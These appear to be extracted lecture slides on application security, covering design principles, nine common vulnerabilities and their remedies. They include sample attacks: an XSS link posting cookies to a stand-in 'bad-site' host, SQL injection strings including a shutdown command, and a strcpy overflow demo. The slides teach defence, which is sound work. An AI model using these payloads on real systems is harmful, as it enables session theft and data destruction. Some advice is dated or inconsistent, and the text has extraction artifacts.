Application Security

Preview:

Citation preview

Securing applications

Who is responsible for providing security ?

Design considerations

• Principles and best practices

Coding

• Ideas, techniques, code samples

What is application security ?

• Typical app includes elements, components and processes

• Each of the app elements and components and processes must be available only to qualified users

• Every element, component and service must be protected from unauthorized viewing, tampering, modification

Security Basics

Authentication• who are you?

Authorization• what are you allowed to do?

Privacy• encryption• can anybody see what you do?

Data integrity• can anybody change your action?

n-tier application model

ExternalExternalApplicationsApplications

Legacy SystemsLegacy Systems

DatabasesDatabases

Thin Thin ClientClient

Rich Rich ClientClient

Security Principles: SD3

By design• Security architect, signs for security• Create threat model (shared with QA)• Training on security issues• Design and coding guidelines with focus on

security: code simplification, reviews, bug fixes, regression testing

• Minimize attack surface• Don’t reveal internal details in error messages

Security Principles: SD3

By default• Not all features installed by default• Allow least privilege• Apply appropriate protection for resources• Use defense in depth• Assume external systems are insecure• Fail to a secure mode• Never depend on security through obscurity• Don’t mix code and data

Security Principles: SD3

In Deployment

• Make sure app has functionality for security administration

• Make sure the app is correctly configured

Top 9 application vulnerabilities

• Unchecked parameters

• Broken Access Control

• Cross-site scripting (XSS) flaws

• Buffer overruns

• SQL injection defects

• Broken account and session management

• Error handling deficiencies

• Faulty use of cryptography

• Web and app server misconfiguration

1. Unchecked parameters

• Rule 1: all input is evil until proven otherwise

• Rule 2: data must be validated as it crossed the boundary between untrusted and trusted environments

• Issues: longer than expected strings, malicious content

Example: CopyData()void CopyData(char* szSrc){

char szDest[1024];strcpy(szDest, szSrc);

// use szDest

}

Example: CopyData2()int CopyData2(char* szSrc, int nLen){

int nRes = S_OK;const int cnMaxLen = 1024;char szDest[cnMaxLen];if (szSrc && nLen < cnMaxLen)

strncpy(szDest, szSrc, nLen);else

nRes = ERR_WRONG_PARAM;return nRes;

}

How to check validity

• Rule: look for valid data and reject everything else

• Reasons:– There could be more than one valid way to

represent data (requires canonicalization)– You might miss an invalid data pattern

• May use regular expressions to check input

Canonicalization

• The process by which various equivalent forms are resolved to a single, standard name, the canonical name

• Do not make any security decision based on the name of a resource, especially a file name

• Restrict what is allowed in a file name (drive, backslashes, extension etc.)

2. Cross-site scripting attacks

• Occur when an attacker uses a web app to send malicious code, usually JavaScript, to a different end user

• Real reason is because data and code are mixed together (against one of the security principles)

• 2 categories: stored and reflected

Trusted Site ?

<a href=“http://www.microsoft.com@%77%

77%77%2E%65%78%3D%64%6F%74%73%

63%6B%69%65…..%3E”>

Click here to win $1,000,000 </a>URL format as defined in RFC1738:

http://<user>:<pswd>@<host>:<port>/<path>

XSS example: server side

www.cifo.com/req.asp implementation:

Hello, &nbsp;<%

Response.Write(Request.QueryString(“name”))

%>

XSS example: client side

<a href=http://www.cifo.com/req.asp?name=<form action=www.bad-site.com/test.asp

method=post id=“idFrm”><input name=“cookie” type=“hidden”>

</form><script>

idFrm.cookie.value=document.cookie;idFrm.submit();

</script>> Click here to win ! </a>

XSS attack against local files

<!—c:\myfiles\xss.html-->Hello !<script>document.write(location.hash)</script>

file://c:\myfiles\xss.html#<script>alert(“I am in !”)</script>

XSS remedies

• Determine which input is valid and reject all the rest

• Encode output (use Server.HTMLEncode)

• Use double quotes around all tag properties

• Use IE 6.0 SP1 HttpOnly cookie option

• IE “Mark of the Web”

• IE 6 <FRAME SECURITY> attribute

3. Buffer overruns

• Occurs when a buffer declared on the stack is overwritten by copying data larger than the buffer

• The usual culprit is unchecked user input passed to functions such as strcpy()

• An attack results when the return address for the function gets overwritten by an address chosen by the attacker (usually to her own code)

Stack Overflow Examplevoid foo(const char* input)

{ char buf[10]; // display stack here

strcpy(buf, input); // display stack here

}

void bar()

{ printf(“Ouch! I’ve been hacked !”);}

void main(int argc, char** argv)

{

printf(“addr of foo:%p\naddr of bar:%p”, foo, bar);

foo(argv[1]);

}

Buffer overrun remedies• Use strncpy instead of strcpy• Use snprintf instead of sprintf• Use STL string class• When writing functions for manipulating

strings:– Size of the destination buffer always provided to

the function;– Buffers guaranteed to be NULL terminated, even if

the operation truncates the intended result;– All functions must return HRESULT;

“Dangerous” APIs• APIs with Buffer overrun issues: strcpy, strcat, strncpy,

strncat, memcpy, sprintf, printf, strlen, gets, scanf, STL stream operator (>>), T2W (& family)

• APIs with name-squatting issues (CreateDirectory, CreateEvent, CreateFile, CreateMutex, CreateNamedPipe etc.)

• APIs with Trojaning issues (CreateProcess, LoadLibrary, WinExec etc.)

• APIs with DoS issues (InitializeCriticalSection, EnterCriticalSection, _alloca), TerminateThread, TerminateProcess

• Socket APIs

4. SQL injection issue

string sql = “select * from customer where CustID= ‘” + id + “’”

// value of variable ‘id’ is “A125612’ or 1=1 --”

select * from customer where id=‘A125612’ or 1=1 –-‘

SQL injection “remedies”: double quote the input

// value of variable ‘id’ is “A125612’ or 1=1 --”

select * from customer where id=‘A125612’’ or 1=1 –-‘

select * from customer where id=‘” + id + ”’ and age>” + nAge

select & from customer where id=‘A75’ and age>33 shutdown --

SQL injection “remedies”: use stored procedures

exec sp_GetCust ‘A152’ or 1=1’ --

exec sp_GetCustomer ‘A152’ insert into customer values (...) --

Preventing SQL injection

• Again, do not trust user’s input !• Use parameterized queries (e.g. through

ADO.Command) and not string concatenation

• Be strict about what represents valid input and reject everything else

• Connect to db by using least privileged account, not sysadmin

• Do not divulge too much info to attacker

5. Access Control

• Sometimes called Authorization, is how the app grants access to content and functions to some users and not others

• ACL is last line of defense against attack• Access Control policy should be clearly

documented and enforced• Code that implements access control should be

centralized, modular and thoroughly reviewed

6. Broken account and session management

• Caused by flawed credential management functions, including password change, forgot my password, account update etc.

• Managing active sessions requires strong session identifier (token), protected throughout its lifecycle, that can’t be guessed, hijacked or captured

Protection against break-ins

• Single password change mechanism; always required to provide both new and old password

• Strong password should have min size• Password storage always in hashed or encrypted

form• Protect credentials in transit (SSL-type)• Session ID protection – ideally through SSL for

the entire session

7. Error handling deficiencies

• Most common problem is when detailed internal error messages (stack traces, mem dumps, error codes) are displayed to the user (attacker)

• Even though minimal error messages are displayed, they can still be logged by the application, with all their details, on the server, analyzed and fixed

8. Faulty use of cryptography

• Insecure storage of keys, certificates and passwords

• Poor source for randomness

• Poor choice for encryption algorithm or attempting to invent new ones

• Failure to encrypt critical data

• Lack of support for key changes

Solutions for cryptography issues

• In Win32 use CryptGenRandom to generate random numbers

• Use appropriate key lengths• Keep keys close to the source• If must exchange keys (private keys should never

be exchanged) use a tried and trusted exchange mechanism (RSA, Diffie-Hellman)

• Document your reasons for choosing the cryptographic solution and have someone knowledgeable review it

RSA encryption keys

• Find two large prime numbers (1024 bit or longer), P and Q; N = P*Q

• Chose E, between 1 and P*Q, such that E and (P-1)*(Q-1) are relative prime (have no common factor other than 1)

• Compute D such that (D*E-1) is divisible by (P-1)*(Q-1), that is equivalent to D*E = 1 (mod(P-1*(Q-1))

• Public key is the pair (N, E), private key is D

RSA encryption algorithm

1. The encryption function is C = (T^E) mod PQ, where C is the ciphertext (a positive integer), T is the plaintext (a positive integer)

2. The decryption function is T = (C^D) mod PQ, where C is the ciphertext (a positive integer) and T is the plaintext (a positive integer)

9. Web and app server misconfiguration

• Unpatched security flaws in the server software• Unnecessary default, backup, sample files, including

scripts, applications, configuration files, web pages• Unnecessary services enabled• Default accounts with default passwords• Admin or debugging functions that are enabled or

accessible• Misconfigured SSL certificates and encryption settings

SummaryThings to remember

• Designer’s security checklist

• Developer’s security checklist

• Tester’s security checklist

• Stay up-to-date: threats change, new ones emerge

• Never been attacked does not mean will never be attacked

Developer’s security checklist• Code compiled with /GS (Visual C++.NET)• Check all untrusted input is verified before being used or stored• All buffer management functions are safe from buffer overrun• All DACLs well formed: not NULL or Everyone (Full Control)• No references to any internal resources (server names, user names

etc.) in code• Temporary file names are unpredictable• Calls to CreateProcess do not have NULL as first arg• Error messages do not give too much info to attacker• No decision made based on the name of the files• No user data written to HKLM in the registry• Socket bind to a specific IP address (not 0)• Etc. (Database-specific, CryptoAPI)

Questions, suggestions

Future presentations- basic cryptography

(history and evolution)- DVD encryption

Recommended